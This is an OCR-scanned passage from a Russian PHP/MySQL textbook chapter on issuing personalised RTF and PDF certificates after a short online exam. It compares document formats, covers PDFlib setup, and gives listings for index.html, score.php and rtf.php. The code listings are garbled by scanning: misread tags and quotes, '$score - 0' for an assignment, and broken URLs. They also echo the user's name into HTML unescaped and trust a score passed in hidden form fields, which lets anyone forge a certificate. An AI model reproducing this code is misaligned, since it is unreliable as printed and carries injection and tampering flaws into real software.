Генерация персонифицированных PDF-документов На сайтах, ориентированных на предоставление услуг, очень часто требуется доставлять персонифицированные документы, генерируемые в ответ на вводи- мую посетителями информацию. Такая функциональность может служить для предос- тавления автоматически заполняемых форм или для генерации таких персонифици- рованных документов, как контракты, письма и сертификаты. В примере, которому будет посвящена данная глава, пользователю предоставляет- ся веб-страница онлайнового экзамена на профессиональную пригодность, и на осно- ве успешности сдачи экзамена генерируется соответствующий сертификат. В главе будут рассмотрены следующие темы. Как использовать обработку строк в РНР, чтобы объединить шаблон с пользо- вательскими данными с целью создания документа в расширенном текстовом формате (Rich Text Format — RTF). Как воспользоваться аналогичным подходом для создания документа в формате переносимых документов (Portable Document Format — PDF). Как использовать PHP-функции из библиотеки PDFlib для генерации PDF-доку- ментов. Обзор проекта В рамках этого проекта мы предоставим посетителям сайта возможность сдать экзамен, который сводится к ответам на ряд предлагаемых вопросов. В случае пра- вильных ответов на достаточное количество вопросов для посетителя будет генери- роваться сертификат, подтверждающий успешную сдачу экзамена. Для того чтобы компьютер смог адекватно оценить ответы, каждый вопрос будет связан с некоторым набором ответов. Из всех потенциальных ответов на каждый из вопросов только один ответ является правильным. Если пользователь наберет достаточное количество баллов за ответы на вопросы, ему будет выдан сертификат. Глава 32. Генерация персонифицированных PDF-документов 713
В идеальном случае формат файла сертификата должен соответствовать следую- щим требованиям. Быть простым по дизайну. Быть пригодным для помещения в него набора различных элементов, таких как растровые и векторные изображения. Обеспечивать высокое качество при выводе на печать. Требовать загрузки файла относительно небольших размеров. Генерироваться практически мгновенно. Требовать небольших затрат по созданию. Работать под управлением множества типовых операционных систем. С трудом поддаваться подделке или модификации. Не требовать никакого специального программного обеспечения для просмот- ра или печати. Поддерживать единообразное отображение и печать для всех получателей. Подобно множеству решений, которые приходится принимать время от времени, для выбора варианта, удовлетворяющего максимальному количеству из десяти пере- численных требований, наверняка придется пойти на какой-нибудь компромисс. Оценка форматов документов Наиболее важное решение связано с выбором формата, в котором должен пре- доставляться сертификат. В число возможных форматов входит бумажная копия, ASCII-формат, HTML-формат, формат Microsoft Word или какого-то другого текстово- го процессора, RTF-формат, PostScript-формат и PDF-формат. Принимая во внимание перечисленные ранее требования, имеет смысл рассмотреть и сравнить некоторые из доступных возможностей. Бумажная копия Предоставление сертификата на бумаге обладает рядом очевидных преиму- ществ. В этом случае сохраняется полный контроль над всем процессом. Перед отправкой адресату мы видим, как в точности выглядит каждый экземпляр серти- фиката. Мы не должны беспокоиться о каком-то программном обеспечении или пропускной способности сети, а отпечатанный сертификат при желании несложно защитить от подделки. Сертификат в таком виде соответствовал бы всем перечисленным требованиям, за исключением практически мгновенной генерации и небольших затрат по созда- нию. Нет возможности быстро его создать и доставить тому, кому нужно. Доставка по почте может занять несколько дней или даже недель, в зависимости от местона- хождения адресата. Затраты на печать и доставку по почте каждого сертификата на бумаге составила бы от нескольких центов до нескольких долларов, а в случае доставки курьером — скорее всего, намного больше. Автоматическая доставка по электронной почте обхо- дится гораздо дешевле. 714 Часть V. Реальные проекты на РНР и MySQL
ASCII-формат Доставка документов в формате ASCII или обычного текста обладает некоторыми преимуществами. Совместимость не будет составлять никаких проблем. Требуемая пропускная способность может быть небольшой, поэтому стоимость доставки доста- точно низка. Простота конечного результата обусловит простоту разработки и очень большую скорость генерирования документа сценарием. Однако если посетителям предоставляется ASCII-файл, внешний вид сертифика- та, по сути, неконтролируемый. Мы не можем управлять шрифтами или разрывами страниц. Можно только помещать текст и в незначительной степени управлять фор- матированием. Кроме того, отсутствует возможность контролировать дублирование или модификацию документа получателем. При использовании этого метода получа- телю проще всего подделать свой сертификат. ; HTML-формат Естественным форматом при доставке документа через Веб является HTML-фор- мат. Язык гипертекстовой разметки (Hypertext Markup Language — HTML) как раз для этого специально и предназначен. Как, несомненно, читатели уже знают, он включа- ет в себя управление форматированием, синтаксис для вставки таких объектов, как изображения, и совместим (с некоторыми различиями) с множеством ойерационных систем и программ. Этот формат очень прост, поэтому разработка документа в нем будет простой, а генерация и доставка его сценарием — быстрой. К недостаткам использования HTML-формата для нашего приложения относится ограниченная поддержка таких связанных с печатью атрибутов форматирования, как разрывы страниц; недостаточное единообразие вывода на различных платформах и в различных программах; качество печати, которое варьируется в довольно широ- ких пределах. Кроме того, хотя HTML-документ может содержать внешние элементы любого типа, отображение или использование этих элементов браузером для нестан- дартных типов не гарантируется. Форматы текстовых процессоров Для проектов, рассчитанных на работу в локальных сетях, предоставление докумен- тов в формате текстового процессора имеет определенный смысл. Однако при достав- ке через Интернет применение собственного формата текстового процессора может привести к отсеву некоторых посетителей. Тем не менее, учитывая его преобладание на рынке, использование формата Microsoft Word вполне оправдано. Большинство пользователей будут иметь доступ либо к Word, либо к текстовому процессору, кото- рый может читать файлы в этом формате, например, OpenOffice Writer. Пользователи Windows, не имеющие Word, могут бесплатную загрузить программу просмотра документов Word, доступную по следующему адресу: http://office.microsoft.com/en-us/downloads/ha010449811033.aspx Генерация документа в формате Microsoft Word обладает рядом преимуществ. При наличии копии программы Word разработка документа не представляет трудности. Можно в большой степени управлять внешним видом документов при печати, а так- же иметь множество возможностей в отношении содержимого. Кроме того, измене- ние документа получателем можно сделать сравнительно трудным, указав Word на не- обходимость запроса пароля на модификацию. Глава 32. Генерация персонифицированных PDF-документов 715
К сожалению, файлы в формате Word могут быть большими, особенно если они содержат изображения или другие сложные элементы. Кроме того, отсутствует про- стой способ динамической их генерации в PHP-коде. Формат документирован, одна- ко является бинарным, а документация по формату поставляется в соответствии с ус- ловиями лицензионного соглашения. Имеется возможность генерировать документы Word с помощью COM-объекта, однако это весьма непросто. В последнее время появилась альтернативная возможность применять вместо Word текстовый процессор OpenOffice Writer, с которым связано два преимущества: это свободное программное обеспечение и в нем может использоваться формат фай- лов XML. Версии Word 2003 и 2007 сейчас также поддерживает формат файлов XML. Определение типа документа (Document Type Definition — DTD) для Word и других продуктов Office можно загрузить из веб-сайта компании Microsoft. Найдите на сайте ссылку наподобие “Office XML Reference Schemas”. В принципе, данная альтернатива хороша, однако реализуется весьма непросто. Расширенный текстовый формат Расширенный текстовый формат (Rich Text Format), или RTF-формат, предлагает большинство возможностей, доступных в формате Word, но RTF-файлы гораздо про- ще генерировать. Мы по-прежнему располагаем множеством возможностей в отноше- нии макета и форматирования печатной страницы. В документ по-прежнему можно помещать такие элементы, как векторные или растровые изображения. Опять-таки, по-прежнему можно не сомневаться, что при просмотре или печати документа поль- зователь получит результаты, аналогичные запланированным. RTF — это текстовый формат Microsoft Word. Он служит форматом обмена во вре- мя передачи документов между различными программами. В определенном смысле он аналогичен HTML-формату. Для передачи информации о форматировании в нем применяется синтаксис и ключевые слова, а не бинарные данные, поэтому он срав- нительно читабелен для человека. Этот формат хорошо документирован. Его спецификация доступна для бесплат- ной загрузки; найдите на сайте Microsoft ссылку “RTF specification”. Простейший способ генерации RTF-документа состоит в выборе команды Save As RTF (Сохранить как RTF) в используемом текстовом процессоре. Поскольку RTF-фай- лы содержат только текст, их можно генерировать непосредственно, а существующие документы легко изменять. Поскольку формат документирован, причем документация доступна бесплатно, документы в этом формате могут читаться большим количеством программ, нежели документы в бинарном формате Word. Однако следует иметь в виду, что пользовате- ли, открывающие сложный RTF-файл в более ранних версиях Word или в других тек- стовых процессорах, часто получают несколько иные конечные результаты. Каждая новая версия Word добавляет в RTF-формат новые ключевые слова. Поэтому, как пра- вило, более ранние версии будут игнорировать элементы управления, которые они не распознают или которые было решено не реализовывать. Что касается ранее приведенного перечня требований, то сертификат в RTF-фор- мате можно было бы легко разработать, используя Word или какой-то другой тексто- вый процессор. Этот сертификат может содержать множество различных элементов типа векторных или растровых изображений. Этот формат позволяет получить высо- кокачественную печатную копию. Документ может быть сгенерирован легко и быст- ро. Документ может доставляться электронными средствами с относительно низкими затратами. 716 Часть V. Реальные проекты на РНР и MySQL
Формат будет работать с разнообразными приложениями и операционными систе- мами, хотя и приводя к слегка разным результатам. С другой стороны, RTF-документ свободно и без труда может быть изменен любым пользователем, что нежелательно для сертификатов и других типов документов. Размеры сложных документов могут оказаться достаточно большими. RTF-формат вполне подходит для многих приложений доставки документов, по- этому в рассматриваемом примере мы будем его использовать в качестве одного из вариантов. PostScript-формат PostScript, разработанный компанией Adobe, представляет собой язык описания страниц. Это сложный язык программирования, обладающий большими возможно- стями, который предназначен для представления документов в форме, не зависящей от устройства. Другими словами, он обеспечивает описание, которое будет приво- дить к одинаковым результатам на различных устройствах, таких как принтеры и мониторы. Этот формат очень хорошо документирован. Ему посвящено несколько объемных книг, а также бесчисленное множество веб-сайтов. PostScript-документ может содержать очень точное форматирование, текст, изо- бражения, внедренные шрифты и другие элементы. PostScript-документ можно легко генерировать из приложения, печатая его на драйвер принтера PostScript. При жела- нии можно было бы даже научиться программировать на нем непосредственно. PostScript-документй в достаточной степени пригодны для переноса из одной сис- темы в другую. Они будут давать единообразные, высококачественные отпечатки на различных устройствах и под управлением различных операционных систем. Использование PostScript-формата для распространения документов имеет не- сколько значительных недостатков. Файлы могут иметь очень большие размеры. Чтобы использовать PostScript-файлы, многим пользователям требуется загру- жать дополнительное программное обеспечение. Большинство пользователей Unix смогут работать с PostScript-файлами, одна- ко пользователям Windows, как правило, придется загрузить программу просмот- ра, подобную GSview, в которой применяется интерпретатор Ghostscript PostScript. Существуют варианты этой программы для множества платформ. Хотя она доступна бесплатно, мы вовсе не намерены вынуждать пользователя выгружать дополнитель- ное программное обеспечение. Более подробная информация о Ghostscript доступна на сайте по адресу: http://www.ghostscript.com/ а загрузить программу просмотра можно по адресу: http://www.cs.wisc.edu/~ghost/ Применительно к создаваемому приложению формат PostScript очень хорошо подходит для создания единообразного высококачественного вывода, однако он не обеспечивает выполнение большинства других требований. Глава 32. Генерация персонифицированных PDF-документов 717
PDF-формат К счастью, существует формат, поддерживающий большинство возможностей PostScript, но обладающий существенными преимуществами. Формат переносимых документов (Portable Document Format — PDF), также разработанный компанией Adobe, является средством распространения документов, которые ведут себя одина- ково на различных платформах и обеспечивают предсказуемый высококачественный вывод как на экране, так и на бумаге. В документации, выпускаемой компанией Adobe, PDF описывается следующим образом: “Это открытый стандарт де-факто для повсеместного распространения электронных документов. PDF компании Adobe — универсальный формат файлов, ко- торый сохраняет все шрифты, цвета форматирования и графические изображения любого исходного документа независимо от приложения и платформы, использован- ных для его создания. PDF-файлы компактны и могут использоваться совместно, про- сматриваться, управляться и печататься именно так, как требуется, причем любым пользователем, располагающим бесплатной программой Adobe Acrobat Reader”. Документация по PDF доступна по адресу: http://partners.adobe.com/asn/tech/pdf/specifications.j sp а также на множестве других веб-сайтов.и в официальной книге. Учитывая удовлетворение выдвинутых нами требований, PDF выглядит весьма и весьма многообещающе. PDF-документы обеспечивают единообразный, высококаче- ственный вывод и могут содержать такие элементы, как растровые и векторные изо- бражения. В них может использоваться сжатие с целью получения файла небольшого размера. Они могут недорого доставляться электронными средствами, и пригодны для использования в средах основных операционных систем. Эти документы могут содержать элементы управления безопасностью. Недостаток PDF-формата состоит в том, что большинство программ для создания PDF-документов являются коммерческими. Для просмотра PDF-файлов требуется программа чтения, но Adobe распростра- няет бесплатные версии Acrobat Reader для Windows-, UNIX- и Macintosh-систем. Многие посетители сайта наверняка уже знакомы с расширением .pdf и, скорее все- го, будут иметь установленную программу чтения. PDF-файлы служат хорошим средством распространения привлекательных, при- годных для качественной печати документов, особенно когда нежелательно, чтобы получатели могли их легко модифицировать. Мы рассмотрим два различных способа генерации сертификата в PDF-формате. Компоненты решения Чтобы построить действительно работоспособную систему, потребуется иметь возможность проэкзаменовать знания пользователей и (если они выдержали тест) сгенерировать сертификат, подтверждающий их квалификацию. Мы поэксперимен- тируем с генерацией такого сертификата тремя различными способами: использо- вание шаблона RTF, использование шаблона PDF и создание нового RTF-документа программным путем. А сейчас мы более подробно рассмотрим требования, предъявляемые к каждому из этих компонентов. 718 Часть V. Реальные проекты на РНР и MySQL
Система вопросов и ответов Создание гибкой системы онлайновых экзаменов, которая позволила бы приме- нять множество различных типов вопросов и различных типов носителей для до- полнительной информации, обеспечивала бы полезную реакцию на неправильные ответы и продуманный сбор статистической информации и позволяла бы создавать отчеты — задача сложная уже сама по себе. В этой главе основное внимание уделено задаче создания персонифицированных документов, предназначенных для доставки через Веб. Поэтому мы решили разрабо- тать лишь очень простую экзаменационную систему. Эта экзаменационная система не требует использования никакого специализи- рованного программного обеспечения. Для задания вопросов в ней используется HTML-форма, а для обработки ответов — PHP-сценарий. Мы уже делали что-то по- добное, начиная с первой главы. Программное обеспечение для генерации документов Для генерации RTF- или PDF-документов из шаблонов никакого дополнительного программного обеспечения устанавливать на веб-сервере не потребуется, однако такое программное обеспечение будет необходимо для создания шаблонов. Чтобы использо- вать PHP-функции создания PDF-документов, поддержку PDF придется скомпилировать в PHP-систему. (Подробнее этот вопрос будет рассматриваться несколько позже.) Программное обеспечение для создания шаблона RTF-документов Для генерации RTF-файлов можно использовать любой текстовый процессор по своему выбору. Для создания шаблона сертификата мы применяли Microsoft Word. Этот шаблон можно найти в загружаемом коде для этой главы. Если предпочтение отдано другому текстовому процессору, все же имеет смысл протестировать готовый шаблон в программе Word, поскольку именно эту программу будет использовать большинство посетителей вашего сайта. Программное обеспечение для создания шаблона PDF-документов Создание PDF-документов несколько сложнее. Простейший путь состоит в том, чтобы приобрести программу Adobe Acrobat. Она позволит создавать качественные PDF-документы из различных приложений. Именно эта программа применялась для создания файла шаблона для данного проекта. Для создания документа использовался Microsoft Word. Одним из инструментов, входящих в состав пакета Acrobat, является Adobe Distiller. В среде Distiller необходи- мо выбрать несколько параметров, не устанавливаемых по умолчанию. Файл должен быть сохранен в формате ASCII, а сжатие должно быть отключено. После того как эти параметры установлены, создание PDF-документа столь же просто, как и вывод его на печать. Более подробную информацию о программе Adobe Acrobat можно найти на сайте по адресу: http://www.adobe.com/products/acrobat/ Глава 32. Генерация персонифицированных PDF-документов 719
Приобрести ее можно либо через Интернет, либо в ближайшем магазине про- граммного' обеспечения. Еще одну возможность создания PDF-документов предоставляет программа преоб- разования ps2pdf, которая, как должно быть понятно из ее названия, преобразует PostScript-файлы в PDF-файлы. Ее преимущество состоит в том, что она распростра- няется бесплатно. Однако она не всегда обеспечивает хорошие результаты для до- кументов, которые содержат изображения или нестандартные шрифты. Программа преобразования ps2pdf поставляется с упоминавшимся ранее пакетом Ghostscript. Понятно, что если решено создавать PDF-файл таким способом, вначале придется создать PostScript-файл. Как правило, для этого UNIX-пользователи будут применять утилиту a2ps или dvips. При работе в среде Windows PostScript-файлы можно создавать, не прибегая к ис- пользованию программы Adobe Distiller, хотя и посредством несколько более сложно- го процесса. Понадобится установить драйвер принтера PostScript. Например, можно использовать драйвер Apple LaserWriter IINT. Если драйвер PostScript не установлен, его можно загрузить из сайта компании Adobe: http://www.adobe.com/support/downloads/product.j sp?product=44&platform=Windows Для создания PostScript-файла потребуется выбрать соответствующий принтер и выдать команду меню Print to File (Печать в файл), которая обычно находится в диа- логовом окне Print (Печать). После этого большинство Windows-приложений создает файл с расширением .ргп. Этот файл должен быть PostScript-файлом. Возможно, имеет смысл его пере- именовать, изменив расширение на .ps. Он должен быть пригодным для просмотра с помощью GSview либо другой программы просмотра PostScript-файлов или для соз- дания PDF-файла с помощью утилиты ps2pdf. Следует иметь в виду, что различные драйверы принтеров создают PostScript-вы- вод различного качества. Может оказаться, что некоторые созданные PostScript-фай- лы вызывают ошибки при попытке их обработки утилитой ps2pdf. В этом случае мы предлагаем воспользоваться другим драйвером печати. Если вы намерены создавать лишь небольшое количество PDF-файлов, для вы- полнения этой задачи может подойти онлайновая служба, предлагаемая компанией Adobe. При уплате ежемесячной абонентской платы в размере $9,99 вы получаете возможность загружать на сервер файлы в ряде различных форматов и затем полу- чать из него готовые PDF-файлы. Эта служба успешно работала для созданного нами сертификата, но она не позволяет выбирать опции, которые важны для рассматри- ваемого проекта. Созданный PDF-файл будет сохранен в виде бинарного файла со сжатием. Это обстоятельство существенно затрудняет его изменение. Служба генерации PDF-документов доступна на сайте: http://createpdf.adobe.сот/ Для тех, кто желает ее испытать, в этой службе имеется возможность бесплатного пробного использования. Если требуется создать не более пяти PDF-документов, до- полнительно можно воспользоваться свободно доступной службой по адресу http: / / www.acrobat.com. Бесплатный, использующий FTP-протокол, интерфейс к утилите ps2pdf входит также и в состав пакета Net Distillery: http://www.babinszki.сот/distiller/ 720 Часть V. Реальные проекты на РНР и MySQL
Последний метод предполагает кодирование сертификата в формате XML и использование XSLT-преобразований (XML Style Sheet Transformations — преобра- зования таблиц стилей XML) для получения на выходе PDF или какого-то другого формата. Этот метод требует глубоких знаний XSLT-преобразований и здесь не рас- сматривается. Программное обеспечение для создания PDF-документов с помощью кода Поддержка создания PDF-документов доступна и в РНР. Функции PDFlib из РНР используют библиотеку PDFlib, доступную по адресу http://www.pdflib.com/ products/pdf libfamily/. Библиотека PDFlib предоставляет API-интерфейс функ- ций, предназначенных для генерации PDF-документов. PDFlib не является свободно распространяемой; она требует приобретения ли- цензии. Версия PDFlib Lite представляет собой бесплатную библиотеку с открытым исходным кодом, но только в случае соблюдения определенных условий, таких как некоммерческое использование. Доступно несколько бесплатных библиотек наподобие FPDF. Однако FPDF облада- ет меньшими возможностями по сравнению с коммерческими библиотеками. Кроме того, поскольку FPDF написана на РНР (а не на языке С как PHP-расширение), она несколько медленнее. Загрузить библиотеку FPDF можно по адресу: http://www.fpdf.org/ В этой главе мы будет пользоваться PDFlib, т.к. расширение PDFcreation является, пожалуй, наиболее часто применяемым. Проверить, установлена ли библиотека PDFlib в системе, просмотрев вывод функ- ции phpinfo (). Под заголовком pdf можно определить, включена ли поддержка PDFlib и то, какая версия PDFlib используется. Если вы намереваетесь использовать в PDF-документах изображения TIFF и JPEG, понадобится инсталлировать также библиотеку TIFF, доступную по адресу http:// www.libtiff.org/, и библиотеку JPEG, доступную по адресу ftp://ftp.uu.net/ graphics/jpeg/. Расширение PDLlib не является встроенным в РНР; потребуется получить файлы из PECL (РНР Extension Community Library — библиотека от сообщества разработчи- ков расширений РНР) и установить это расширение вручную. В системах, отличных от Windows, расширение получается путем загрузки фай- лов из http://pecl.php.net/package/pdflib и последующей инсталляции с помо- щью команды peel. За инструкциями обращайтесь по адресу http://www.php.net/ manual/en/install.peel.pear.php. В Windows-системах предварительно скомпилированное расширение (php_pdf.dll) получается путем загрузки файла с http://pecl4win.php.net/ext.php/php_pdflib.dll или целой библиотеки скомпилированных расширений PECL через страницу загруз- ки сайта РНЕ net. По завершении загрузки потребуется поместить файл php_pdflib. dll file в каталог расширений РНР (обычно ext внутри каталога инсталляции РНР) и добавить в файл php.ini следующую строку: extension-php_pdf.dll Глава 32. Генерация персонифицированных PDF-документов 721
Обзор решения В рамках текущего проекта мы разработаем систему, которая будет приводить к трем возможным результатам. Как видно на рис. 32.1, мы будем задавать контрольные вопро- сы, оценивать ответы, а затем генерировать сертификат по одному из трех способов: RTF-документ из пустого шаблона; PDF-документ из пустого шаблона; PDF-документ программным путем с использованием функций библиотеки PDFlib. Рис. 32.1. Наша сертификационная система будет генерировать - сертификаты одним из трех различных способов Краткий обзор файлов, используемых в проекте системы сертификации, приве- ден в табл. 32.1. Таблица 32.1. Файлы, используемые в приложении сертификации Имя Тип Описание index.html HTML-страница HTML-форма, содержащая экзаменационные вопросы. score.php Приложение Сценарий для оценки ответов пользователей. rtf.php Приложение Сценарий для генерации RTF-сертификата на основе шаблона. pdf.php Приложение Сценарий для генерации PDF-сертификата на основе шаблона. pdflib.php Приложение Сценарий для генерации PDF-сертификата с использованием функций библиотеки PDFlib. signature.tif Изображение Растровое изображение подписи, которое будет включено в сертификат, сгенерированный с ис- пользованием библиотеки. PDFlib. PHPCertification.rtf RTF-файл Шаблон сертификата в RTF-формате. PHPCertification.pdf PDF-файл Шаблон сертификата в PDF-формате. 722 Часть V. Реальные проекты на РНР и MySQL
Теперь приступим к исследованию структуры и кода приложения. Задание вопросов Файл index. html довольно прост. Он должен содержать HTML-форму, запраши- вающую пользователя его имя, и ответы на ряд вопросов. Скорее всего, в реальном экзаменационном приложении эти ответы следовало бы получать из базы данных. Но в данном случае нас интересует проблема создания сертификата, поэтому мы про- сто жестко запрограммируем в HTML-коде несколько ответов. Поле name является текстовым полем ввода. С каждым вопросом связаны три пе- реключателя, позволяющие пользователю выбрать правильный, по его мнению, от- вет. Форма содержит кнопку с изображением, служащую для отправки формы. Код этой страницы можно найти в листинге 32.1. Листинг 32.1. index.html — HTML-страница, содержащая экзаменационные вопросы <html> <body> <hl><p align="center"> <img src="rosette.gif" alt=”"> Сертификация <img src="rosette.gif” alt=""x/p></hl> <р>Вы также можете заработать наш широко признаваемый сертификат по РНР от наиболее известного во всем мире Фиктивного Института Сертификации по РНР.</р> <р>Просто дайте правильные ответы на перечисленные ниже вопросы:</р> <form action="score.php" method="post"> <р>Фамилия, имя <input type="text" name="name"x/p> <р>Какие действия выполняет РНР-оператор echo?</p> <ol> <lixinput type="radio" name="ql" value="l">BbiBOflHT строки.</li> <lixinput type="radio" name="ql" value="2">CyMMnpyeT два числа.</li> <lixinput type="radio" name="ql" value="3"> Вызывает добрую фею, которая завершает за вас написание кода.</И> </о!> <р>Какие действия выполняет PHP-функция cos()?</p> <ol> <lixinput type="radio" name="q2" value="l"> Вычисляет косинус угла в радианах.</li> <lixinput type="radio" name="q2" value="2"> Вычисляет тангенс угла в радианах. </li> <lixinput type="radio" name="q2" value="3"> Такой PHP-функции не существует. </li> </ol> <р>Какие действия выполняет PHP-функция mail()?</p> <ol> <lixinput type="radio" name="q3" value="l"> Отправляет сообщение по электронной почте. <lixinput type="radio" name="q3" value="2"> Получает новые почтовые сообщения. <lixinput type="radio" name="q3" valu^="3"> Переключает PHP между мужским и женским режимами. </о!> <р align="center"xinput type="image" src="certifу-me.gif" border="0"x/p> </form> </body> </html> Глава 32. Генерация персонифицированных PDF-документов 723
Результат загрузки файла index.html в веб-браузер показан на рис. 32.2. Рис. 32.2. Форма index.html предлагает посетителю сайта ответить на экзаменационные вопросы Оценка ответов После того как пользователь отправит свои ответы на вопросы, выданные index.html, их потребуется оценить и подсчитать общее количество баллов. Это вы- полняется в сценарии score.php, код которого показан в листинге 32.2. Листинг 32.2. score.php — сценарий для оценки результатов экзамена <?php // Создать короткие имена переменных $ql = $_POST[*ql*] ; $q2 = $_POST['q2']; $q3 = $_POST['q3’]; $name = $_POST[’name’]; // Проверить, все ли данные получены if(($ql==”) || ($q2==’’) || ($q3==”) || ($name==“)) { echo ”<hl> <p align=\’’center\’’> <img src=\’’rosette .gif\” alt=\’’\” /> Извините: <img src=\’’rosette.gif\" alt=\”\" /></p></hl> <р>Вы должны ввести свою фамилию и ответить на все вопросы.</р>"; 724 Часть V. Реальные проекты на РНР и MySQL
} else { // Просуммировать баллы $score - 0; if($ql == 1) { // правильный ответ на первый вопрос - 1 $score++; } if ($q2 == 1) { // правильный ответ на второй вопрос - 1 $score++; } if ($q3 == 1) { // правильный ответ на третий вопрос - 1 $score++; } // Преобразовать сумму баллов в проценты $score = $score / 3 * 100; if ($score < 50) { // Посетитель не выдержал экзамен echo ”<hl> <р align=\’’center\’’> <img src=\’’rosette.gif\” alt=\”\" /> Очень жаль: <img src=\’’rosette.gif\” alt=\”\" /></p></hl> Ср>Для того чтобы выдержать экзамен, вы должны набрать хотя бы 50%.</р>"; } else { // Создать строку, содержащую итог экзамена с точностью //до одного десятичного разряда $score = number_format($score, 1) ; echo "chi align=\’’center\"> cimg src=\"rosette.gif\" alt=\"\" /> Поздравляем! L f cimg src=\"rosette.gif\" alt=\"\" />c/hl> Ср>Вы успешно сдали экзамен, ’’.$name.’’, ваш итог составляет ’’ .$score. "%.с/р>"; // Вывести ссылки на сценарии, которые генерируют сертификаты echo "Ср>Пожалуйста, щелкните здесь, чтобы загрузить свой сертификат в виде файла Microsoft Word (RTF). с/р> cform action=\’’rtf .php\" method=\’’post\’’> cdiv align=\"center\’’> cinput type=\"image\" src=\"certificate.gif\" border=\”0\"> c/div> cinput type=\"hidden\" name=\"score\" value=\’”’. $score. "\"/> cinput type=\''hidden\" name=\"name\" value=\’”’. $name. "\"/> c/form> Ср>Пожалуйста, щелкните здесь, чтобы загрузить свой сертификат в виде файла Portable Document Format (PDF).c/p> cform action=\"pdf.php\" method=\’’post\’’> cdiv align=\’’center\’’> cinput type=\’’image\’’ src=\’’certificate. gif\" border=\’’0\’’> c/div> cinput type=\’’hidden\" name=\"score\” value=\’”’. $score. "\’’/> cinput type=\’’hidden\" name=\"name\" value=\’”’. $name. "\"/> c/form> Глава 32. Генерация персонифицированных PDF-документов 725
<р>Пожалуйста, щелкните здесь, чтобы загрузить свой сертификат в виде файла Portable Document Format (PDF) , сгенерированного средствами PDFLib.</p> <form action=\’’pdflib.php\,’ method=\’’post\”> <div align=\’’center\’’> <input type=\”image\" src=\"certificate.gif\" border=\’’0\"> </div> cinput type=\”hidden\" name=\"score\" value=\’”’. $score. ”\"/> cinput type=\"hidden\” name=\"name\" value=\"’’. $name. ”\’’/> </form>"; Этот сценарий будет выводить соответствующие уведомления в случаях, когда пользователь не ответил на все вопросы или набрал менее определенного количест- ва баллов. Если пользователь успешно ответил на вопросы, для него разрешается генерация сертификата. Результат успешного посещения сайта можно видеть на рис. 32.3. С этого момента посетителю доступны три возможности. Он может получить RTF-сертификат или один из двух PDF-сертификатов. Сейчас мы последовательно рассмотрим сценарии, отвечающие за генерацию каждого из сертификатов. Генерация RTF-сертификата Теперь нам уже ничто не может помешать сгенерировать RTF-документ, записав ASCII-текст в файл или в строковую переменную, однако для этого потребует изучить еще один набор синтаксических конструкций. Sbkmfefirefox ИЖШ : Не View History gookmadss loofc He!p * О tgj !. 1 http://!ocaS'^s1Vph^ysqi/32,; score, php Поздравляем! Вы успешно сдали экзамен, КОСЕНКО Вера, ваш итог составляет 100.0%. Пожалуйста щелкните здесь, чтобы загрузить свой сертификат в виде файла Microsoft Word (RTF). Пожалуйста, щелкните здесь, чтобы загрузить свой сертификат в виде файла Portable Doctanent Format (PDF). Пожалуйста, щелкните здесь, чтобы загрузить свой сертификат в виде файла Portable Document Format (PDF), сгенерированного средствами PDFLib t Done Рис. 32.3. Сценарий score.php предоставляет пользователям, успешно выдержавшим экзамен, возможность сгенерировать сертификат одним из трех способов 726 Часть V. Реальные проекты на РНР и MySQL
Вот как выглядит очень простой RTF-документ: {\rtfl {\fonttbl {\f0 Arial;}{\fl Times New Roman;}} \f0\fs28 Заголовок\раг \fl\fs20 Это простой rtf-документ.\par } Этот документ устанавливает таблицу шрифтов, содержащую два шрифта: Arial, на который можно будет ссылаться как на f 0, и Times New Roman, ссылка на который будет осуществляться посредством fl. Затем документ записывает строку Заголовок, используя шрифт f о (Arial) размером 28 (14 пунктов). Управляющая последовательность \раг указы- вает на конец абзаца. Затем выполняется запись строки Это простой rtf-документ с использованием шрифта fl (Times New Roman) размером 20 (10 пунктов). Похожий документ можно было бы сгенерировать вручную, однако РНР не содер- жит никаких встроенных функций, которые могли бы упростить выполнение столь трудных задач, как внедрение графических изображений. К счастью, во многих доку- ментах структура, стиль и значительная часть текста являются статическими, и лишь небольшие фрагменты изменяются от одного физического лица к другому. Более эф- фективный способ генерации документа предполагает использование шаблона. Сложный документ, подобный показанному, на рис. 32.4, можно легко создать в текстовом процессоре. Приведенный шаблон содержит заполнители наподобие «NAME» для пометки мест вставки динамических данных. Как конкретно выглядят эти заполнители — не особенно важно. Мы используем понятное описание, помещенное между двумя на- борами угловых скобок (« и »). Важно выбрать заполнители, случайное появление которых в остальной части документа маловероятно. Создание макета шаблона суще- ственно упростится, если заполнители будут иметь приблизительно такую же длину, как и данные, которыми они будут замещаться. Рис- 32.4. С помощью текстового процессора можно легко создать сложный и привлекательный шаблон Глава 32. Генерация персонифицированных PDF-документов 727
В этом документе используются заполнители «NAME», «Name», «score» и «mm/dd/уууу». Обратите внимание, что в шаблоне присутствуют и NAME, и Name, поскольку для их замещения предполагается использовать метод, чувствительный к регистру символов. Теперь, когда шаблон создан, необходимо написать сценарий для его персонифи- кации. Этот сценарий называется rtf .php и его код можно найти в листинге 32.3. Листинг 32.3. rtf .php — сценарий для создания персонифицированного сертификата в RTF-формате <?php // Создать короткие имена переменных $name = $_POST[’name']; $score = $_POST[’score’]; // Убедиться, что все необходимые параметры присутствуют if ( !$name || !$score ) { echo ”<Ь1>0шибка:</hl> <р>Страница вызвана некорректно</р>”; } else { // Сгенерировать заголовки, которые упростят браузеру // выбор требуемого приложения для визуализации header(*Content-type: application/msword’); header(’Content-disposition: inline, filename=cert.rtf’); $date = date (’ F d, Y ’) ; // Открыть файл шаблона $filename = ’PHPCertification.rtf’; $fp = fopen ($filename, ’r’); // Прочитать шаблон в переменную $output = fread($fp, filesize($filename)); fclose ($fp); // Заменить заполнители в шаблоне требуемыми данными $output = str_replace (' «NAME» ’, strtoupper ($name) , $output); $output = str_replace (’ «Name»', - $name, $output) ; $output = str_replace ('«score» ’, $score, $output); $output = str_replace ('«mm/dd/уууу» ’, $date, $output); / / Отправить сгенерированный документ в браузер echo $output; } ?> Этот сценарий выполняет некоторую общую проверку на предмет присутствия ошибок в данных, чтобы удостовериться в получении всех сведений о пользователе, после чего начинается создание сертификата. Сценарий создает вывод в виде RTF-файла, а не HTML-файла, поэтому о данном факте необходимо предупредить браузер пользователя. Важно, чтобы браузер мог предпринять попытку открытия файла с помощью подходящего приложения или отображал диалоговое окно типа Save As... (Сохранить как...), если он не смог распо- знать расширение .rtf. 728 Часть V. Реальные проекты на РНР и MySQL
